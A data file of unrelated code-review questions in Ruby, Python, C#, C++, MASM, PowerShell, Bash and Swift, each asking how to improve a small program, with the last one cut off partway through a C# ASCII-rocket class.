texts:
Basically, this code takes a keyword and an array of strings, then sorts them based on two things: the number of characters shared with the key, and the distance between them.(As a side note, would this properly be called a sort, not a search?)

def search(key, list)
  # Format for everything pushed to out:
  # Should this be a class?
  # {
  #   val: the string in question,
  #   shared_chars: [{char: shared char of key list elem,
  #                   index: index of shared char,
  #                   kindex: index of shared char in key
  #                   distance: how close the shared chars are}]
  # }
  out = []
  key = key.downcase

  list.each { |l|
    l.downcase!
    shared_chars = []

    keyi = 0
    key.each_char { |c|
      index = /#{c}/ =~ l

      if index != nil
        shared_chars.push char: c, index: index, kindex: keyi
      end

      # Inelegant?
      keyi += 1
    }

    # Calulate total distance between shared_chars
    distance = 0
    odistance = 0

    shared_chars.each_index { |i|
      unless i == shared_chars.length-1
        distance += (shared_chars[i+1][:index] - shared_chars[i][:index]).abs
        odistance += (shared_chars[i+1][:kindex] - shared_chars[i][:kindex]).abs
      end
    }

    distance -= odistance
    distance = distance.abs

    out.push val: l, shared_chars: shared_chars, distance: distance
  }

  out.sort_by! { |e|
    # 100 is arbitrary
    100 + e[:distance] - e[:shared_chars].length*3
  }

  out
end

Specifically I would like to know if any part of it could be made more efficient and/or elegant, but general critique is of course welcome.


texts:
I have been trying to solve a modification of the Longest Common Prefix problem. It is defined below.

  Defining substring

  For a string P with characters P1, P2,…, Pq, let us denote by P[i, j]
  the substring Pi, Pi+1,…, Pj.

  Defining longest common prefix

  LCP(S1, S2,…, Sk), is defined as largest possible integer j such that
  S1[1, j] = S2[1, j] = … = Sk[1, j].

  You are given an array of N strings, A1, A2 ,…, AN and an integer K.
  Count how many indices (i, j) exist such that 1 ≤ i ≤ j ≤ N and
  LCP(Ai, Ai+1,…, Aj) ≥ K. Print required answer modulo 109+7.

  Note that K does not exceed the length of any of the N strings. K <= min(len(Ai)) for all i

  For example,

  A = ["ab", "ac", "bc"] and K=1.

LCP(A[1, 1]) = LCP(A[2, 2]) = LCP(A[3, 3]) = 2
LCP(A[1, 2]) = LCP("ab", "ac") = 1
LCP(A[1, 3]) = LCP("ab", "ac", "bc") = 0
LCP(A[2, 3]) = LCP("ac", "bc") = 0

  So, the answer is 4. Return your answer % MOD = 1000000007

  Constraints

  1 ≤ Sum of length of all strings ≤ 5*105. Strings consist of small alphabets only.

Here is my approach:

class Solution:
    # @param A : list of strings
    # @param B : integer
    # @return an integer
    def LCPrefix(self, A, B):
        res = 0
        for i in xrange(len(A)):
            prev = A[i]
            prevLCP = len(A[i])
            for j in xrange(i, len(A)):
                prevLCP = self.getLCP(prev, A[j], prevLCP)
                prev = A[j]

                if prevLCP >= B:
                    res += 1

        return res % 1000000007

    def getLCP(self, A, B, upto):
        i = 0
        lim = min(upto, len(B))
        while i < lim:
            if A[i] != B[i]:
                break

            i += 1

        return i

The time complexity of this algorithm is O(n^2*m), where n is the length of the list and m is the maximum length of the string.

The online judge (InterviewBit) does not accept this solution in terms of time complexity. Can anyone think of a way to improve it?


texts: Simple Python Old Email Eraser From Inbox

texts:
This is a old email eraser that deletes old unwanted email from your gmail or yahoo inbox, cause guys really we all had the nightmare of selecting and deleting 50 old emails at a time when their are thousands, well this one uses simple python imaplib library to do that, and even shows the email that its deleting with sender name And Deletes up to a certain date that we specify

try:
    import imaplib
    import argparse
    import email
    import webbrowser
except Exception as e:
    print e

def Connect_And_Login(uname, passwd, bedate):

    if uname.endswith('@gmail.com'):
        mail = imaplib.IMAP4_SSL('imap.gmail.com')
        inbox = "INBOX"
        url = 'https://www.google.com/settings/security/lesssecureapps'

    elif uname.endswith('@yahoo.com'):
        mail = imaplib.IMAP4_SSL('imap.mail.yahoo.com')
        inbox = "Inbox"
        url = 'https://login.yahoo.com/account/security#less-secure-apps'

    else:
        print 'Enter The Email Address Carefully'
        exit(0)

    try:
        mail.login(uname, passwd)

    except Exception as e:
        print "\n\nFailed to login Allow less secure apps from your email settings and try again\n\n"
        webbrowser.open(url)
        exit(0)

    Mark_emails_as_Deleted(mail, bedate, inbox)
    #print mail.list()
    return

def Mark_emails_as_Deleted(mail, bedate, inbox):
    mail.select(inbox)
    result, data = mail.search(None, '(BEFORE "'+str(bedate)+'")')

    if result == 'OK':
        for num in data[0].split():
            mail.store(num, '+FLAGS', '\\Deleted')

            res, msg_data = mail.fetch(str(num), '(RFC822)')
            for response_part in msg_data:
                if isinstance(response_part, tuple):
                    msg = email.message_from_string(response_part[1])
                    print '\nDleting.....\n'
                    for header in [ 'subject', 'to', 'from' ]:
                        print '%-8s: %s' % (header.upper(), msg[header])

        expunge_Them(mail)

    return

def expunge_Them(mail):

    mail.expunge()
    mail.close()
    mail.logout()
    return

def main():

    parser = argparse.ArgumentParser()
    parser.add_argument("uname", help="Your email username like shantanu@gmail.com")
    parser.add_argument("path", help="Enter your email password")
    parser.add_argument("bedate", help="Enter Date, Before this date all emails will be cleaned WRITE LIKE 01-Jan-2016")
    args = parser.parse_args()
    #print '(BEFORE "'+str(bedate)+'")'

    Connect_And_Login(args.uname, args.path, args.bedate)

if __name__ == "__main__":
    main()


texts: Single-thread worker in multi-thread webservice

texts:
There is standalone WCF webservice, which is providing methods to interact with legacy ERP system.

This system exposes an API, which allow programmer to interact with it.

The problem is that, for legacy reasons, every call to API function has to come from the same thread. As we know, WCF webservice is multi-thread, so I needed to solve it someway.

Below is my solution of that problem. It works. I want to someone smarter than me look at this code, and tell me, if that is "right" way to solve it. Maybe there was "better" way to achieve goal. I want to learn something.

public static class ApiManager
{
    static Queue<ApiTask> apiTasks = new Queue<ApiTask>();
    static Thread thread;
    static AutoResetEvent wakeUp;

    public static void Init()    // <--1
    {
        wakeUp = new AutoResetEvent(false);
        thread = new Thread(runner);
        thread.Start();
    }

    public static void AddTask(ApiTask task) //<--5
    {
        apiTasks.Enqueue(task);
        wakeUp.Set();
    }

    static void runner()
    {
        wakeUp.Reset();
        while (true)  //<--2
        {
            wakeUp.WaitOne();      //<--3
            while (apiTasks.Count > 0)
            {
                var task = apiTasks.Dequeue(); //<--4
                task.Start();
            }
            wakeUp.Reset();
        }
    }
}

This is my "worker" class.
(1) Init method - it is run on start of webservice. It creates new thread, and starts it. In that thread we have infinite loop, in which thread is waiting for wakeUp signal to be set (3). After that, it consumes elements from queue (4), and runs it one after another. After the queue is empty, it resets the wakeUp signal, and waiting for it to be set.

public abstract class ApiTask
{
    protected abstract void DoJob(); //<-- 1
    protected AutoResetEvent IsDone = new AutoResetEvent(false);
    protected Exception RegisteredException = null;

    internal void Run()
    {
    }

    public void Start()
    {
        try
        {
            DoJob();
        }
        catch (Exception ex)
        {
            this.RegisteredException = ex;
        }

        IsDone.Set();
    }
}

public abstract class ApiTask<TResult> : ApiTask where TResult : new()
{
    protected TResult Result = new TResult();

    public TResult GetResult()
    {
        ApiManager.AddTask(this);
        this.IsDone.WaitOne();

        if (RegisteredException != null) throw RegisteredException;
        return Result;
    }
}

Here we have abstract class ApiTask, which is stored in queue in ApiManager, and run by it.
It contains abstract method DoJob (1), which will actually contains code to be run. Also, we have Start method, which runs the job, and sets IsDone signal, after finishing. If job throws an exception, it is catched and stored.
And - the "core": GetResult method - it adds task to queue in manager, wait for it to be done, and returns result (or throws exception, if it has been stored by Start method).

In practice, I'm creating Tasks in that way:

public abstract class CreateDocumentTask:ApiTask<APIDocument>
{
    DateTime _date;

    protected int CreateDocumentTask(DateTime date)
    {
        _date = date;
    }

    protected override void DoJob()
    {
        Result = APICREATEDOCUMENTFUNCTION(_date);
    }
}

To use it in application, I only have to change call from:

var document = APICREATEDOCUMENTFUNCTION(date)

to:

var document = new CreateDocumentTask(DateTime.Now).GetResult();

And I'm sure that it will be always done by the same thread.

Feel free to correct my English. Feel free to correct and criticize code. I want to learn.


texts:
A list that contains one or more lists as elements is called a deep
  list. For example, [1, [2, 3], 4] is a deep list.

  Write a function deep_len that takes a list and returns its deep
  length. See the doctests for the function's behavior.

  Hint: you can check if something is a list by using the built-in
  type function. For example,

>>> type(3) == list
False
>>> type([1, 2, 3]) == list
True

My solution:

def deep_len(lst):
    """Returns the deep length of the list.

    >>> deep_len([1, 2, 3])     # normal list
    3
    >>> x = [1, [2, 3], 4]      # deep list
    >>> deep_len(x)
    4
    >>> x = [[1, [1, 1]], 1, [1, 1]] # deep list
    >>> deep_len(x)
    6
    """
    if not lst:
        return 0
    if type(lst[0]) != list:
        return 1 + deep_len(lst[1:])
    else:
        return deep_len(lst[0]) + deep_len(lst[1:])

Can we improve this recursive code?


texts: Python path-breaking script for use in R

texts:
R does not support line continuation as Python, and it's disturbing to have long file paths like

  /media/user/data/something-not-very-important-but-super-long/some-curious-secret-file.pdf

and can't break it into multiple lines.

The workaround is to use the file.path function:

file.path(
  "/root",
  "folder",
  "file.ods")

Manually editing is tedious, so here is a Python script that does the job for you:

#!/usr/bin/env python3

import sys

x = sys.argv[1]
# split by unix path separator
y = x.split("/")
# get rid of empty strings
y = [i for i in y if i]

# preserve / if it's an absolute path
if x.startswith("/"):
    y[0] = "/" + y[0]

# quote everything
y = ["'" + i + "'" for i in y]

res = "file.path(" + ",\n    ".join(y) + ")"
print(res)


texts: Storing disassembled data in a structured way

texts:
I want to store the information returned by the dis function of the dis module in a structured way, using a dict, associating the mnemonics of each code of a line to the correspondent line number.

Note: Instruction is a subclass of _Instruction, defined in the dis module as a namedtuple.

Output:

disassembled_dict =
{
 147: [ Instruction(opname='LOAD_FAST', opcode=124, arg=0, arg1=0, arg2=0, argval='x', argrepr='x', offset=0, starts_line=147, is_jump_target=False),
        Instruction(opname='LOAD_CONST', opcode=100, arg=1, arg1=1, arg2=0, argval=1, argrepr='1', offset=3, starts_line=None, is_jump_target=False),
        Instruction(opname='INPLACE_ADD', opcode=55, arg=None, arg1=None, arg2=None, argval=None, argrepr='', offset=6, starts_line=None, is_jump_target=False),
        Instruction(opname='STORE_FAST', opcode=125, arg=0, arg1=0, arg2=0, argval='x', argrepr='x', offset=7, starts_line=None, is_jump_target=False)
      ]

 148: [ Instruction(opname='LOAD_FAST', opcode=124, arg=0, arg1=0, arg2=0, argval='x', argrepr='x', offset=10, starts_line=148, is_jump_target=False),
        Instruction(opname='LOAD_CONST', opcode=100, arg=2, arg1=2, arg2=0, argval=2, argrepr='2', offset=13, starts_line=None, is_jump_target=False),
        Instruction(opname='BINARY_POWER', opcode=19, arg=None, arg1=None, arg2=None, argval=None, argrepr='', offset=16, starts_line=None, is_jump_target=False),
        Instruction(opname='RETURN_VALUE', opcode=83, arg=None, arg1=None, arg2=None, argval=None, argrepr='', offset=17, starts_line=None, is_jump_target=False)
      ]
}

Code:

import dis

def preatty_dis(function):
    fcode = function.__code__
    ## call dis._get_instructions_bytes just the original dis function do
    disassembled_raw = [instruction for instruction in
                        dis._get_instructions_bytes(fcode.co_code, fcode.co_varnames,
                                                    fcode.co_names, fcode.co_consts,
                                                    fcode.co_cellvars + fcode.co_freevars,
                                                    dict(dis.findlinestarts(fcode)))]
    iter_instructions = iter(disassembled_raw)
    disassembled_dict = {}
    line_pack = []
    while True:
        try:
            if not(line_pack):
                instruction = next(iter_instructions)
                line_pack.append(instruction)
            else:
                instruction = line_pack[0]

            if(instruction.starts_line):
                instruction = next(iter_instructions)
                while(instruction.starts_line is None):
                    line_pack.append(instruction)
                    instruction = next(iter_instructions)
                else:
                    ## line_pack[0] is the first mnemonic of the code line
                    ## line_pack[0].starts_line is the number of the code line
                    disassembled_dict.update({line_pack[0].starts_line : (line_pack)})
                    line_pack = [instruction]
            else:
                disassembled_dict.update({line_pack[0].starts_line : (line_pack)})
                line_pack = []
        except StopIteration:
            ## append the last group
            print(line_pack)
            disassembled_dict.update({line_pack[0].starts_line : (line_pack)})
            line_pack = []
            break
    return disassembled_dict

The code works on Python 3.5, but I'm sure there are many chances to make it more idiomatic, cleaner and more readable...

Suggestions?


texts: Code Vita: Form the maximum possible time in the HH:MM:SS format using any six of nine given single digits

texts:
Problem Description

  The objective is to form the maximum possible time in the HH:MM:SS
  format using any six of nine given single digits (not necessarily
  distinct)

  Given a set of nine single (not necessarily distinct)
  digits, say 0, 0, 1, 3, 4, 6, 7, 8, 9, it is possible to form many
  distinct times in a 24 hour time format HH:MM:SS, such as 17:36:40 or
  10:30:41 by using each of the digits only once. The objective is to
  find the maximum possible valid time (00:00:01 to 24:00:00) that can
  be formed using some six of the nine digits exactly once. In this
  case, it is 19:48:37.

  Input Format

  A line consisting of a sequence of 9 (not necessarily distinct) single
  digits (any of 0-9) separated by commas. The sequence will be
  non-decreasing

  Output

  The maximum possible time in a 24 hour clock (00:00:01 to 24:00:00) in
  a HH:MM:SS form that can be formed by using some six of the nine given
  digits (in any order) precisely once each. If no combination of any
  six digits will form a valid time, the output should be the word
  Impossible

  Explanation

  Example 1

  Input

  0,0,1,1,3,5,6,7,7

  Output 17:57:36

  Explanation: The maximum valid
  time in a 24 hour clock that can be formed using some six of the 9
  digits precisely once is 17:57:36

  Example 2

  Input

  3,3,3,3,3,3,3,3,3

  Output

  Impossible

  Explanation: No set of six digits from the input may be used to
  form a valid time.

The Code:

def bubbleSort(arr):
    n = len(arr)
    for i in range(n):
        for j in range(0, n-i-1):
            if arr[j] < arr[j+1] :
                arr[j], arr[j+1] = arr[j+1], arr[j]

seq_a=list(map(int,input().split(',')))
# print(seq_a)
bubbleSort(seq_a)
# print(seq_a)

hrs=[None,None]
mins=[None,None]
secs=[None,None]

#hrs
for x in seq_a:
    if x <= 2:
        hrs[0]=x
        seq_a.remove(x)
        break
# print(seq_a)
# print(hrs,mins,secs)

if hrs[0]:
    if hrs[0]==2:
        for x in seq_a:
            if x <= 4:
                hrs[1]=x
                seq_a.remove(x)
                break
    else:
        for x in seq_a:
            if x <= 9:
                hrs[1]=x
                seq_a.remove(x)
                break
# print(seq_a)
# print(hrs,mins,secs)

#mins
if hrs[1]:
    for x in seq_a:
        if x < 6:
            mins[0]=x
            seq_a.remove(x)
            break
# print(seq_a)
# print(hrs,mins,secs)

if mins[0]:
    for x in seq_a:
        if x <= 9:
            mins[1]=x
            seq_a.remove(x)
            break
# print(seq_a)
# print(hrs,mins,secs)

#secs
if mins[1]:
    for x in seq_a:
        if x < 6:
            secs[0]=x
            seq_a.remove(x)
            break
# print(seq_a)
# print(hrs,mins,secs)

if secs[0]:
    for x in seq_a:
        if x <= 9:
            secs[1]=x
            seq_a.remove(x)
            break
# print(seq_a)
# print(hrs,mins,secs)

if secs[1]:
    print(str(hrs[0])+str(hrs[1])+':'+str(mins[0])+str(mins[1])+':'+str(secs[0])+str(secs[1]))
else:
    print('Impossible')


texts:
I have a observer pattern implemented and I'm using two base classes called Subject and Observer. - The Subject class is an abstract class that has methods to insert the observers. And the Observer is just an interface.

What I want is to provide a safer interface to classes that inherit to access the vector of observers and that is the way I implemented...

What would you do to make this better? Is this a bad design? Anything wrong?

#include <iostream>
#include <vector>
#include <memory>
#include <algorithm>

class Observer
{
public:
    virtual ~Observer() {}

    virtual void notifyHuman() = 0;
    virtual void notifyRobot() = 0;
};

class Subject
{
    typedef std::vector<std::unique_ptr<Observer>> vector_type;
public:
    virtual ~Subject() {}

    void attachObserver(vector_type::value_type observer)
    {
        container.push_back(std::move(observer));
    }

    vector_type::const_iterator begin() const
    {
        return container.begin();
    }

    vector_type::const_iterator end() const
    {
        return container.end();
    }

    virtual void notifyHuman() = 0;
    virtual void notifyRobot() = 0;
private:
    vector_type container;
};

class FooSubject : public Subject
{
public:
    FooSubject() {}
    ~FooSubject() {}

    void notifyHuman()
    {
        std::for_each(begin(), end(), [] (auto & observer) {
            observer->notifyHuman();
        });
    }

    void notifyRobot()
    {
        std::for_each(begin(), end(), [] (auto & observer) {
            observer->notifyRobot();
        });
    }
};

class BarObserver : public Observer
{
public:
    BarObserver() {}
    ~BarObserver() {}

    void notifyHuman()
    {
        std::cout << "received notification of human." << std::endl;
    }

    void notifyRobot()
    {
        std::cout << "received notification of robot." << std::endl;
    }
};

int main()
{
    FooSubject subject;
    subject.attachObserver(std::make_unique<BarObserver>());
    subject.notifyHuman();
    subject.notifyRobot();

    return 0;
}


texts: What is the best practice for working with a project as nested modules?

texts:
I come from the world of Python, so I'm used to every file representing their own enclosed module, never polluting the global environment. Up until now (I've worked with Ruby for a week) I've created one file per class in a nested structure such as this:

lib
`- project_name
   |- sub_module
   |  `- foo_bar.rb
   `- some_class.rb

Where some_class.rb contains:

module ProjectName
    class SomeClass
        # ...
    end
end

And foo_bar.rb contains:

module ProjectName::SubModule
    class FooBar
        # ...
    end
end

This has incidentally worked fine up until now, but I realized that if I require foo_bar.rb before I require some_class.rb I would get a NameError: uninitialized constant ProjectName. So now I'm exploring workarounds for foo_bar.rb, all pretty ugly in my opinion:

module ProjectName
    module SubModule
        # Double indent for all the code in the file!?
    end
end

module ProjectName end
module ProjectName::SubModule
    # Fair enough, I suppose...
end

module ProjectName module SubModule
    # Ugly
end end

I suppose any of these would work and the choice would be a matter of taste, but I'd rather use the option that most developers in this situation uses. The question is in the title, please comment.


texts: Print first element of the last line of files when the second element does not match a pattern

texts:
I am relatively new to Bash, regular expression and stuff.

In a directory, I need to read the last line of all the files that contain the word "fitness", and list (on one line and separated with comas) the first element of these last lines (where elements are defined by spaces), whenever the second element (or any element actually) is not "100000".

tail -n 1 *fitness* | grep -v '100000' | grep -v 'fitness' | awk '{print $1}' | grep -v '^$' | paste -d  "," - - - - - - - - - - - - - - - - -

In words:

  read all last lines | don't consider those that contain the number 100000 | remove the name of the files | take the first element | remove blank lines | paste the element together on one line separated by comas

Can you help me to improve my code?


texts:
I set the stats (.ie. name, attack, defense, HP) in the __init__ method. However, I have chosen to build the self.attacks dictionary with a separate method.

class Pokemon(object):

     def __init__(self, name, attack, defense, HP):
                self.name = name
                self.attack = attack
                self.defense = defense
                self.HP = HP
                self.attacks = {}

     def Moves(self,move_1,damage_1,move_2,damage_2):
                self.attacks[move_1] = damage_1
                self.attacks[move_2] = damage_2

pikachu = Pokemon('Pikachu',40,10,50)
pidgey = Pokemon('Pidgey',50,30,60)

pikachu.Moves('tackle',50,'thunderbolt',70)
pidgey.Moves('gust',80,'tackle',50)

The code works as expected but I'm not sure if this proper use of classes. I believe it is and have seen some examples do similar things. I just wanted to check if I am headed in the right direction.

Edit:  The reason I would like to know is because the Pokemon will be getting many more attributes and I need a way to assign those attributes in groups to avoid assigning fifty or so variables every time I create a new instance of Pokemon.


texts:
I am currently practising using the SOLID principles in C#/.NET
I have made a little example, but i am not sure if i have followed it correct.
Its a simple example where i have an API controller that calls a method to get a list of users from an database and returned as DTOs.
To use the method i need to submit an IUserReader that is mainly doing the reading operation from the database and then a IMapper object is needed that will handle the mapping from database entity to DTO.
I made it that way to be available to switch out the IUserReader and IMapper so i can fit the query and mapping to match my requirements for a specific API call. Lets say an app is using the API to get users, the app will only need some details of the user, so we use a implementation that only selects the required information and maps it correct. We also have an backend to view the users, where we want all the user details from the database, here we use another implementation for that.
Here is my code example, i would like to know if it is done correct.
Data readers
public interface IDataReader<T>
{
    IEnumerable<T> Read();
}

public abstract class DataReader<T> : IDataReader<T>
{
    private protected IDataContext _context;
    public abstract IEnumerable<T> Read();

    public DataReader(IDataContext context)
    {
        _context = context;
    }
}

public interface IUserDataReader : IDataReader<IUserEntity>
{
}

//First implementation of user reader
public class UserDataReader : DataReader<IUserEntity>, IUserDataReader
{

    public UserDataReader(IDataContext context) : base(context) { }

    public override IEnumerable<IUserEntity> Read()
    {
        return _context.Users.Where(x => x.IsActive).OrderBy(x => x.Name).ToList();
    }
}

//Secound implementation of user reader
public class UserGridDataReader : DataReader<IUserEntity>, IUserDataReader
{

    public UserGridDataReader(IDataContext context) : base(context) { }

    public override IEnumerable<IUserEntity> Read()
    {
        return _context.Users.OrderBy(x => x.Name).ToList();
    }
}

Now the mappers:
public interface IMapper<I, O>
{
    O Map(I item);
}

public interface IUserMapper : IMapper<IUserEntity, UserDTO>
{

}

public class UserMapper : IUserMapper
{
    public UserDTO Map(IUserEntity item)
    {
        return new FullUserDTO
        {
            Name = item.Name,
            Email = item.Email
        };
    }
}

The API then calls this class and method to read:
public class UserReaderService
{
    private IUserDataReader _reader;
    private IUserMapper _mapper;

    public UserReaderService(IUserDataReader reader, IUserMapper mapper)
    {
        _reader = reader;
        _mapper = mapper;
    }

    public IEnumerable<UserDTO> Read()
    {
        IEnumerable<IUserEntity> userData = _reader.Read();

        IEnumerable<UserDTO> users = userData.Select(x => _mapper.Map(x));

        return users;
    }
}

API method:
    public void GetUsers()
    {
        IDataContext context = new DataContext();

        IUserDataReader userDataReader = new UserDataReader(context);
        IUserMapper mapper = new UserMapper();

        UserReaderService ur = new UserReaderService(userDataReader, mapper);

        ur.Read();
    }

Is that correctly using SOLID principles and generally abstraction?
Could i throw the IMapper dirrectly into the DataReader and make the mapping directly in the linq query instead of first returning the data result and then use mapping or would it break the SOLID principles?


texts:
I am referring to the book Design Patterns For Dummies to learn about design patterns.  I wrote an adapter design pattern, as mentioned in the book.  Is it proper or does it need some modification?

#include<iostream>
#include<sstream>

using namespace std;

class AceInterface
{
public:
    virtual void setName(string n) = 0;
    virtual string getName() = 0;
};

class Aceclass : public AceInterface
{
    string name;
public:
    void setName(string n){
        name = n;
    }
    string getName() {
        return name;
    }
};

class AcmeInterface
{
public:
    virtual void setFirstName(string fn) = 0;
    virtual void setLastName(string ln) = 0;
    virtual string getFirstName() = 0;
    virtual string getLastName() = 0;
};

class Acmeclass :public AcmeInterface
{
    string First_name;
    string Last_name;
public:
    void setFirstName(string fn) {
        First_name = fn;
    }
    void setLastName(string ln) {
        Last_name = ln;
    }
    string getFirstName(){
        return First_name;
    }
    string getLastName(){
        return Last_name;
    }
};

class AcetoAcmeAdapter:public AcmeInterface
{
    Aceclass aceObject;
    string First_name;
    string Last_name;
public:
    AcetoAcmeAdapter(Aceclass a) {
        aceObject = a;
        istringstream iss(aceObject.getName());
        iss >> First_name ;
        iss >> Last_name;
    }
    void setFirstName(string fn) {
        First_name = fn;
    }
    void setLastName(string ln) {
        Last_name = ln;
    }
    string getFirstName(){
        return First_name;
    }
    string getLastName(){
        return Last_name;
    }
};

int main()
{
    Aceclass aceobj;

    aceobj.setName("Mohandas Gandhi");

    cout << "name from aceobj :" << aceobj.getName() <<endl;

    AcetoAcmeAdapter ace2acme(aceobj);

    cout << "First_name from ace2acme :" << ace2acme.getFirstName() << endl;
    cout << "Last_name from ace2acme :" << ace2acme.getLastName() << endl;

    return 0;
}


texts:
I'm trying to learn x86 assembly and hopefully move on to projects of the scope that more than one person would be involved.

This is a (relatively) simple subroutine written in Intel x86 assembly using MASM that copies one string onto the end of another. I named it strglue to avoid conflict with the C library function strcat (since the driver for this method is a C program) and the MASM macro CatStr.

I'm wondering if I can have some insight on the quality of:

The code itself (optimality of the instructions and register usage)
The documentation
The indentation of the loops and labels

.386
.MODEL FLAT, C
.DATA
.CODE

    ; Glue together (concatenate) two strings
    ; PARAMS:
    ;  [ESP+4] - Pointer to first character in null-terminated destination string
    ;  [ESP+8] - Pointer to first character in null-terminated source string
    ; USES:
    ;  EAX: Holds the destination string during execution
    ;  ECX: Holds the source string during execution:
    ;  EDX: Lower 8 bits (DL) holds characters being copied from source to destination
    ; OUTPUT:
    ;  [ESP+4] - Pointer to first character in null-terminated concatenation of destination string + source string (excluding the null-terminator from the destination string)
    strglue PROC

        ; Step 1: Get a pointer to the null-terminator character in the destination string
        MOV EAX, DWORD PTR [ESP+4]
        ENDOFDEST:
            INC EAX
            CMP BYTE PTR [EAX], 0
        JNZ ENDOFDEST

        ; Step 2: Copy the source string into the pointer to the end of dest, overwriting the null-terminator
        MOV ECX, DWORD PTR [ESP+8]
        STRCATLOOP:
            MOV DL, BYTE PTR [ECX]
            LEA EAX, [EAX+1]
            MOV BYTE PTR [EAX-1], DL
            LEA ECX, [ECX+1]

            ; If ZF=0  the null terminator in the source string has been reached; stop looping
            TEST DL, DL
        JNZ STRCATLOOP
        RET
    strglue ENDP
END


texts: Inserting data into SQL-Server table dynamically

texts:
I know I can do all this via SSMA quite quickly, but I wanted to see if I could do it efficiently in PowerShell myself as a little project.

Basically, the entire script takes tables from an Access database and creates a database in SQL Server with the same data. Everything from creating the table structure to cleansing the data is running quick. The slow part is inserting the data, which was inevitable but I want to see if I can make it a bit faster.

Here is the code:

<# Insert data into tables #>
function Insert_Data {
    param ( $data, $tableName )
    $columns = ($data.PSObject.Properties | where {$_.name -eq "Columns"}).value.columnName | Sort-Object

    $Insert = "INSERT INTO $tableName
    VALUES "

    $i = 0
    $x = 0

    foreach ($item in $data) {
        $Insert += "
        ("
        foreach ($item in $columns) {
            $Insert += "'" + $data.rows[$x].$item + "',"
        }
        $Insert = $Insert.Substring(0,$Insert.Length-1)
        $Insert += "),"
        if ($i -eq 900) {
            $Insert = $Insert.Substring(0,$Insert.Length-1)
            $Insert += ";"
            Invoke-SQLCMD -Query $Insert -ServerInstance "." -database tmpAccessData -erroraction "Stop"
            $Insert = "INSERT INTO $tableName
                              VALUES "

            $i = 0
        }
        $i++
        $x++
    }

    $Insert = $Insert.Substring(0,$Insert.Length-1)
    $Insert += ";"

    Invoke-SQLCMD -Query $Insert -ServerInstance "." -database tmpAccessData -erroraction "Stop"

    Remove-Variable -Name data
}

It generates a large SQL query and inserts that into the specified table once it hits 900 values or the end of the Access table.

The data variable is the full Access table pulled into an Object:

$data_Clients       = Get-AccessData -Query "SELECT * FROM Client"    -Source $($settings.FastrackFiles.access_Fastrack);

And tablename is just the name of the table in the destination SQL database.


texts: Design guideline for saving big byte stream in c#

texts:
I have an application where I am receiving big byte array very fast around per 50 miliseconds.

The byte array contains some information like file name etc. The data (byte array ) may come from several sources.

Each time I receive the data, I have to find the file name and save the data to that file name.

I need some guide lines to how should I design it so that it works efficient.

Following is my code...

public class DataSaver
{
    private Dictionary<string, FileStream> _dictFileStream;

    public void SaveData(byte[] byteArray)
    {
        string fileName = GetFileNameFromArray(byteArray);
        FileStream fs = GetFileStream(fileName);
        fs.Write(byteArray, 0, byteArray.Length);
    }

    private FileStream GetFileStream(string fileName)
    {
        FileStream fs;
        bool hasStream = _dictFileStream.TryGetValue(fileName, out fs);
        if (!hasStream)
        {
            fs = new FileStream(fileName, FileMode.Append);
            _dictFileStream.Add(fileName, fs);
        }
        return fs;
    }

    public void CloseSaver()
    {
        foreach (var key in _dictFileStream.Keys)
        {
            _dictFileStream[key].Close();
        }
    }
}

How can I improve this code ? I need to create a thread maybe to do the saving.


texts:
I'm playing a bit with extensions for default protocols in Swift 3.0.

I would like to implement rounded(toPlaces places: Int) -> Self for Double, Float.

Both of these structs refer to FloatingType protocol.
I wrote small extension for FloatingType protocol:

extension FloatingPoint {

    typealias Exponent = Int // is this okay? how can I write where `Exponent: Int` ?

    public func rounded(toPlaces places: Int) -> Self {
        guard places >= 0 else { return self }
        let divisor = Self(Int(pow(10.0, Double(places))))
        //let divisor = Self(sign: .plus, exponent: places, significand: Self(Int(pow(5, Double(places)))))
        return (self * divisor).rounded() / divisor
    }
}

However I can't find the most easiest and fastest method. Self(Int(pow(5, Double(places)))) so much conversions... Ugh...

The problem is that there is no pow for floating point type, so I need to do lots of conversions.

At 1m calls it loses about 0.04s for the Double extension, which doesn't do Self(Int(...)). Is it okay for such method or there is another approach?


texts:
I wondered how nested classes in C# work as I often use them when I write native C# code (like Woods.Tree.Add(new Tree).Leaf.Color) so i tried it by my self with a Navigation example. There is a Position integer which declares a point on a line. To move left the position will be subtracted by 1, to move right the position will added by 1.

I think its quite pedantic and much code to write for such a 'simple' task. Is this the right way or is there an easier, smaller way to archive this?

using System;

namespace ConsoleApp2
{
    class Program
    {
        static void Main(string[] args)
        {
            NestedTest nt = new NestedTest();//create test
            nt.Navigate.Left();
            Console.WriteLine(nt.Position);
            nt.Navigate.Left();
            nt.Navigate.Left();
            Console.WriteLine(nt.Position);
            nt.Navigate.Rigth();
            Console.WriteLine(nt.Position);
            Console.WriteLine("Press any key to exit...");
            Console.ReadKey();
        }
    }
    class NestedTest
    {
        public int Position { get; private set; }
        public NavigateClass Navigate;//create the NavigateClass in NestedTest

        //Nested NavigateClass
        public class NavigateClass
        {
            private NestedTest _o;//the placeholder
            public NavigateClass(NestedTest obj)
            {
                _o = obj;//Set the NestedTest class so we know which Position we have to navigate trough.
            }
            public void Left()
            {
                Console.Write("<-");
                _o.Position--;//Move Position to the left (-1)
            }

            public void Rigth()
            {
                Console.Write("->");
                _o.Position++;//Move Position to the right (+1)
            }
        }

        public NestedTest(int num = 10)
        {
            this.Position = num;//Set start position
            Navigate = new NavigateClass(this);//Set the _o in Navigate so it knows which Position it has to navigate trough
        }
    }

}


texts: Underscore template conditional can be reduced

texts:
I have 11 data items and would like to print them as a group. Each group will have header and at the end of the group I need to print continue label.

For that, I use this Underscore template and multiple conditions.  I'd like to make this more compact.


texts:
I have seen the Writings on the wall...

Retro Rocket ASCII Art
Nested for-loop art
Print the Retro Rocket
Maybe a golfed C# answer from me

But I took this relatively serious and created a VerticalRocket class that I would like reviewed, kind of like a little "am I getting better at writing code" project/review experience (granted this was done while waiting for code to compile and queries to run).

What can I learn from this experience?

class VerticalRocket
{
    private int _FuselageSections = 2;
    public int FuselageSections
    {
        get
        {
            return _FuselageSections;
        }
        set
        {
            if (value <= 100 && value > 0)
            {
                _FuselageSections = value;
            }
        }
    }

    public List<string> rocketPartsList = new List<string>();

    private string Divider = "+=*=*=*=*=*=*+";

    private List<string> upDesigns = new List<string>
    {
          @"|../\..../\..|"
        , @"|./\/\../\/\.|"
        , @"|/\/\/\/\/\/\|"
    };

    private List<string> downDesigns = new List<string>
    {
          @"|\/\/\/\/\/\/|"
        , @"|.\/\/..\/\/.|"
        , @"|..\/....\/..|"
    };
    private List<string> NoseParts = new List<string>
    {
          @"      /\"
        , @"     /**\"
        , @"    //**\\"
